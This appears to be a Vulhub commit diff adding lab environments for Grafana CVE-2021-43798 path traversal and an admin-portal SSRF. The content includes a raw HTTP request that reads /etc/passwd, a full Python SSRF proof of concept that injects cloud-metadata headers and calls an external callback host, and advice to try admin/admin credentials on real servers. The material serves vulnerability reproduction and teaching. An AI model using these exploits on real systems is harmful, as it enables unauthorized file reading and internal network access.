first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
This commit is contained in:
BIN
grafana/CVE-2021-43798/1.png
Normal file
BIN
grafana/CVE-2021-43798/1.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 391 KiB |
65
grafana/CVE-2021-43798/README.md
Normal file
65
grafana/CVE-2021-43798/README.md
Normal file
@@ -0,0 +1,65 @@
|
||||
# Grafana 8.x Plugin Module File Path Traversal (CVE-2021-43798)
|
||||
|
||||
[中文版本(Chinese version)](README.zh-cn.md)
|
||||
|
||||
Grafana is a multi-platform open source analytics and interactive visualization web application.
|
||||
|
||||
In December 2021, a Twitter user disclosed a 0day vulnerability, that unauthenticated attackers could use this vulnerability to step up web path and download arbitrary files through a craft url of Grafana 8.x.
|
||||
|
||||
References:
|
||||
|
||||
- https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/
|
||||
- https://twitter.com/hacker_/status/1467880514489044993
|
||||
- https://nosec.org/home/detail/4914.html
|
||||
- https://mp.weixin.qq.com/s/dqJ3F_fStlj78S0qhQ3Ggw
|
||||
|
||||
## Vulnerable environment
|
||||
|
||||
Execute following command to start a Grafana server 8.2.6:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
After the server start, you can browse the login page at `http://your-ip:3000`, no credential for this vulnerability.
|
||||
|
||||
## Exploit
|
||||
|
||||
The vulnerability is caused by plugin module, which is able to serve the static file inside the plugin folder. But for lock of check, attacker can use `../` to step up from the plugin folder to parent foler and download arbitrary files.
|
||||
|
||||
To exploit the vulnerabilty, you should know a valid plugin id, such as `alertlist`, here are some of common plugin ids:
|
||||
|
||||
```
|
||||
alertlist
|
||||
cloudwatch
|
||||
dashlist
|
||||
elasticsearch
|
||||
graph
|
||||
graphite
|
||||
heatmap
|
||||
influxdb
|
||||
mysql
|
||||
opentsdb
|
||||
pluginlist
|
||||
postgres
|
||||
prometheus
|
||||
stackdriver
|
||||
table
|
||||
text
|
||||
```
|
||||
|
||||
Send following request to retrieve the `/etc/passwd` (you can replace the `alertlist` with any valid plugin id):
|
||||
|
||||
```
|
||||
GET /public/plugins/alertlist/../../../../../../../../../../../../../etc/passwd HTTP/1.1
|
||||
Host: 192.168.1.112:3000
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept: */*
|
||||
Accept-Language: en
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
|
||||
Connection: close
|
||||
|
||||
|
||||
```
|
||||
|
||||

|
61
grafana/CVE-2021-43798/README.zh-cn.md
Normal file
61
grafana/CVE-2021-43798/README.zh-cn.md
Normal file
@@ -0,0 +1,61 @@
|
||||
# Grafana 8.x 插件模块目录穿越漏洞(CVE-2021-43798)
|
||||
|
||||
Grafana是一个开源的度量分析与可视化套件。在2021年12月,推特用户@j0v 发表了他发现的一个0day,攻击者利用这个漏洞可以读取服务器上的任意文件。
|
||||
|
||||
参考链接:
|
||||
|
||||
- https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/
|
||||
- https://twitter.com/hacker_/status/1467880514489044993
|
||||
- https://nosec.org/home/detail/4914.html
|
||||
- https://mp.weixin.qq.com/s/dqJ3F_fStlj78S0qhQ3Ggw
|
||||
|
||||
## 漏洞环境
|
||||
|
||||
执行如下命令启动一个Grafana 8.2.6版本服务器:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
服务启动后,访问`http://your-ip:3000`即可查看登录页面,但是这个漏洞是无需用户权限的。
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
这个漏洞出现在插件模块中,这个模块支持用户访问插件目录下的文件,但因为没有对文件名进行限制,攻击者可以利用`../`的方式穿越目录,读取到服务器上的任意文件。
|
||||
|
||||
利用这个漏洞前,我们需要先获取到一个已安装的插件id,比如常见的有:
|
||||
|
||||
```
|
||||
alertlist
|
||||
cloudwatch
|
||||
dashlist
|
||||
elasticsearch
|
||||
graph
|
||||
graphite
|
||||
heatmap
|
||||
influxdb
|
||||
mysql
|
||||
opentsdb
|
||||
pluginlist
|
||||
postgres
|
||||
prometheus
|
||||
stackdriver
|
||||
table
|
||||
text
|
||||
```
|
||||
|
||||
再发送如下数据包,读取任意文件(你也可以将其中的`alertlist`换成其他合法的插件id):
|
||||
|
||||
```
|
||||
GET /public/plugins/alertlist/../../../../../../../../../../../../../etc/passwd HTTP/1.1
|
||||
Host: 192.168.1.112:3000
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept: */*
|
||||
Accept-Language: en
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
|
||||
Connection: close
|
||||
|
||||
|
||||
```
|
||||
|
||||

|
6
grafana/CVE-2021-43798/docker-compose.yml
Normal file
6
grafana/CVE-2021-43798/docker-compose.yml
Normal file
@@ -0,0 +1,6 @@
|
||||
version: '2'
|
||||
services:
|
||||
web:
|
||||
image: vulhub/grafana:8.2.6
|
||||
ports:
|
||||
- "3000:3000"
|
BIN
grafana/admin-ssrf/1.png
Normal file
BIN
grafana/admin-ssrf/1.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 14 KiB |
BIN
grafana/admin-ssrf/2.png
Normal file
BIN
grafana/admin-ssrf/2.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 73 KiB |
43
grafana/admin-ssrf/README.md
Normal file
43
grafana/admin-ssrf/README.md
Normal file
@@ -0,0 +1,43 @@
|
||||
# Grafana Admin Portal SSRF
|
||||
|
||||
[中文版本(Chinese version)](README.zh-cn.md)
|
||||
|
||||
Grafana is a multi-platform open source analytics and interactive visualization web application.
|
||||
|
||||
The admin user is able to make requests to an unintended location in all versions of Grafana.
|
||||
|
||||
References:
|
||||
|
||||
- <https://github.com/RandomRobbieBF/grafana-ssrf>
|
||||
|
||||
## Vulnerable environment
|
||||
|
||||
Execute following command to start a Grafana 8.5.4:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
Then you can see the portal page for Grafana without the authentication in `http://your-ip:3000`, because this server enabled the anonymous as admins by:
|
||||
|
||||
```ini
|
||||
[auth.anonymous]
|
||||
enabled = true
|
||||
org_role = Admin
|
||||
```
|
||||
|
||||
If Grafana ask you for user credentials in real world, can try default `admin` and `admin`.
|
||||
|
||||
## Vulnerability Reproduce
|
||||
|
||||
Use [this POC](https://github.com/RandomRobbieBF/grafana-ssrf) to reproduce the SSRF:
|
||||
|
||||
```
|
||||
python grafana-ssrf.py -H http://your-ip:3000 -u http://example.interact.sh/attack
|
||||
```
|
||||
|
||||

|
||||
|
||||
As you can see, I got the request from Grafana:
|
||||
|
||||

|
39
grafana/admin-ssrf/README.zh-cn.md
Normal file
39
grafana/admin-ssrf/README.zh-cn.md
Normal file
@@ -0,0 +1,39 @@
|
||||
# Grafana管理后台SSRF
|
||||
|
||||
Grafana是一个开源的度量分析与可视化套件。在其管理后台中存在一个功能,攻击者可以用于向任意地址发送HTTP请求,且支持自定义HTTP Header。
|
||||
|
||||
参考链接:
|
||||
|
||||
- <https://github.com/RandomRobbieBF/grafana-ssrf>
|
||||
|
||||
## 漏洞环境
|
||||
|
||||
执行如下命令启动一个Grafana 8.5.4:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
环境启动后,访问`http://your-ip:3000`即可查看到管理后台。这个管理后台是不需要登录的,因为Vulhub环境设置了匿名用户的权限:
|
||||
|
||||
```ini
|
||||
[auth.anonymous]
|
||||
enabled = true
|
||||
org_role = Admin
|
||||
```
|
||||
|
||||
在真实场景中,如果你没有权限访问管理界面,可以尝试使用默认账号密码`admin`和`admin`,只能能够成功登录后台的用户才能利用这个漏洞。
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
使用[这个POC](https://github.com/RandomRobbieBF/grafana-ssrf)来复现SSRF漏洞:
|
||||
|
||||
```
|
||||
python grafana-ssrf.py -H http://your-ip:3000 -u http://example.interact.sh/attack
|
||||
```
|
||||
|
||||

|
||||
|
||||
可见,我们的反连平台已成功收到了HTTP请求:
|
||||
|
||||

|
6
grafana/admin-ssrf/docker-compose.yml
Normal file
6
grafana/admin-ssrf/docker-compose.yml
Normal file
@@ -0,0 +1,6 @@
|
||||
version: '2'
|
||||
services:
|
||||
web:
|
||||
image: vulhub/grafana:8.5.4
|
||||
ports:
|
||||
- "3000:3000"
|
143
grafana/admin-ssrf/grafana-ssrf.py
Normal file
143
grafana/admin-ssrf/grafana-ssrf.py
Normal file
@@ -0,0 +1,143 @@
|
||||
#!/usr/bin/env python
|
||||
#
|
||||
# Grafana SSRF via promoethus
|
||||
#
|
||||
# Note: SSRF will not follow redirects!
|
||||
#
|
||||
# By @RandomRobbieBF
|
||||
#
|
||||
#
|
||||
|
||||
import requests
|
||||
import json
|
||||
import sys
|
||||
import argparse
|
||||
import re
|
||||
import os.path
|
||||
import json
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
session = requests.Session()
|
||||
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("-s", "--session", required=False ,default="9765ac114207245baf67dfd2a5e29f3a",help="Session Cookie Value")
|
||||
parser.add_argument("-u", "--url", required=False, default="http://8t2s8yx5gh5nw0z9bd3atkoprgx6lv.burpcollaborator.net",help="URL of host to check will need http or https")
|
||||
parser.add_argument("-H", "--host", default="http://kubernetes.docker.internal:5000",required=True, help="Host for Grafana")
|
||||
parser.add_argument("-U", "--username", default="",required=False, help="Username for Grafana")
|
||||
parser.add_argument("-P", "--password", default="",required=False, help="Password for Grafana")
|
||||
parser.add_argument("-p", "--proxy", default="",required=False, help="Proxy for debugging")
|
||||
|
||||
args = parser.parse_args()
|
||||
ssrf_url = args.url
|
||||
sessionid = args.session
|
||||
ghost = args.host
|
||||
username = args.username
|
||||
password = args.password
|
||||
|
||||
|
||||
if args.proxy:
|
||||
http_proxy = args.proxy
|
||||
os.environ['HTTP_PROXY'] = http_proxy
|
||||
os.environ['HTTPS_PROXY'] = http_proxy
|
||||
|
||||
|
||||
def create_source(sessionid, ssrf_url,ghost):
|
||||
rawBody = "{\"name\":\"SSRF-TESTING\",\"type\":\"prometheus\",\"access\":\"proxy\",\"isDefault\":false}"
|
||||
headers = {"Origin":""+ghost+"","Accept":"application/json, text/plain, */*","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0","Referer":""+ghost+"/datasources/new","Connection":"close","x-grafana-org-id":"1","content-type":"application/json","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
|
||||
cookies = {"grafana_session":""+sessionid+""}
|
||||
response = session.post(""+ghost+"/api/datasources", data=rawBody, headers=headers, cookies=cookies,verify=False)
|
||||
y = json.loads(response.text)
|
||||
if "Data source with same name already exists" in response.text:
|
||||
print("You will need to manually delete the current source that is named SSRF-TESTING")
|
||||
sys.exit(0)
|
||||
elif "id" in response.text:
|
||||
print("Source Created")
|
||||
return (y["id"])
|
||||
else:
|
||||
print ("Error:")
|
||||
print("Status code: %i" % response.status_code)
|
||||
print(response.text)
|
||||
|
||||
|
||||
|
||||
|
||||
def refresh_source(ghost,sessionid,id):
|
||||
headers = {"Accept":"application/json, text/plain, */*","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0","Referer":""+ghost+"/datasources/edit/6/","Connection":"close","x-grafana-org-id":"1","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
|
||||
cookies = {"grafana_session":""+sessionid+""}
|
||||
response = session.get(""+ghost+"/api/datasources/"+id+"", headers=headers, cookies=cookies,verify=False)
|
||||
if response.status_code == 200:
|
||||
print("Refreshed Sources")
|
||||
else:
|
||||
print("Error:")
|
||||
print("Status code: %i" % response.status_code)
|
||||
print(response.text)
|
||||
delete_source(sessionid,id,ghost)
|
||||
|
||||
|
||||
def create_ssrf(sessionid,ssrf_url,ghost,id):
|
||||
rawBody = "{\"id\":"+id+",\"orgId\":1,\"name\":\"SSRF-TESTING\",\"type\":\"prometheus\",\"typeLogoUrl\":\"\",\"access\":\"proxy\",\"url\":\""+ssrf_url+"\",\"password\":\"test\",\"user\":\"test\",\"database\":\"test\",\"basicAuth\":false,\"basicAuthUser\":\"\",\"basicAuthPassword\":\"\",\"withCredentials\":false,\"isDefault\":false,\"jsonData\":{\"tlsSkipVerify\":true,\"httpHeaderName1\":\"Metadata-Flavor\",\"httpHeaderName2\":\"Metadata\",\"httpMethod\":\"GET\"},\"secureJsonData\":{\"httpHeaderValue1\":\"Google\",\"httpHeaderValue2\":\"true\"},\"version\":1,\"readOnly\":false}"
|
||||
headers = {"Origin":""+ghost+"","Accept":"application/json, text/plain, */*","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0","Referer":""+ghost+"/datasources/edit/6/","Connection":"close","x-grafana-org-id":"1","content-type":"application/json","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
|
||||
cookies = {"grafana_session":""+sessionid+""}
|
||||
response = session.put(""+ghost+"/api/datasources/"+id+"", data=rawBody, headers=headers, cookies=cookies,verify=False)
|
||||
if response.status_code == 200:
|
||||
print("SSRF Source Updated")
|
||||
else:
|
||||
print("Error:")
|
||||
print("Status code: %i" % response.status_code)
|
||||
print(response.text)
|
||||
delete_source(sessionid,id,ghost)
|
||||
|
||||
|
||||
|
||||
def check_ssrf(sessionid,id,ghost,ssrf_url):
|
||||
headers = {"Accept":"application/json, text/plain, */*","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0","Referer":""+ghost+"/datasources/edit/"+id+"/","Connection":"close","x-grafana-org-id":"1","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate","x-grafana-nocache":"true"}
|
||||
cookies = {"grafana_session":""+sessionid+""}
|
||||
response = session.get(""+ghost+"/api/datasources/proxy/"+id+"/", headers=headers, cookies=cookies,verify=False)
|
||||
if response.status_code != 502:
|
||||
print("Status code: %i" % response.status_code)
|
||||
print("Response body:\n %s" % response.text)
|
||||
delete_source(sessionid,id,ghost)
|
||||
else:
|
||||
print("Error:")
|
||||
print(response.text)
|
||||
delete_source(sessionid,id,ghost)
|
||||
|
||||
|
||||
|
||||
|
||||
def delete_source(sessionid,id,ghost):
|
||||
headers = {"Origin":""+ghost+"","Accept":"application/json, text/plain, */*","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0","Referer":""+ghost+"/datasources/edit/3/","Connection":"close","x-grafana-org-id":"1","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
|
||||
cookies = {"grafana_session":""+sessionid+""}
|
||||
response = session.delete(""+ghost+"/api/datasources/"+id+"", headers=headers, cookies=cookies,verify=False)
|
||||
if "Data source deleted" in response.text:
|
||||
print("Deleted Old SSRF Source")
|
||||
else:
|
||||
print("Error:")
|
||||
print(response.text)
|
||||
sys.exit(0)
|
||||
|
||||
|
||||
def login(ghost,username,password):
|
||||
rawBody = "{\"user\":\""+username+"\",\"password\":\""+password+"\",\"email\":\"\"}"
|
||||
headers = {"Origin":""+ghost+"","Accept":"application/json, text/plain, */*","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0","Referer":""+ghost+"/signup","Connection":"close","content-type":"application/json","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
|
||||
cookies = {"redirect_to":"%2F"}
|
||||
response = session.post(""+ghost+"/login", data=rawBody, headers=headers, cookies=cookies,verify=False)
|
||||
if "grafana_session" in response.cookies:
|
||||
return response.cookies["grafana_session"]
|
||||
if "grafana_sess" in response.cookies:
|
||||
return response.cookies["grafana_sess"]
|
||||
else:
|
||||
print("Login Session Cookie not set")
|
||||
sys.exit(0)
|
||||
|
||||
|
||||
if username:
|
||||
sessionid = login(ghost,username,password)
|
||||
|
||||
if ssrf_url:
|
||||
i = create_source(sessionid,ssrf_url,ghost)
|
||||
id = str(i)
|
||||
refresh_source(ghost,sessionid,id)
|
||||
create_ssrf(sessionid,ssrf_url,ghost,id)
|
||||
check_ssrf(sessionid,id,ghost,ssrf_url)
|
Reference in New Issue
Block a user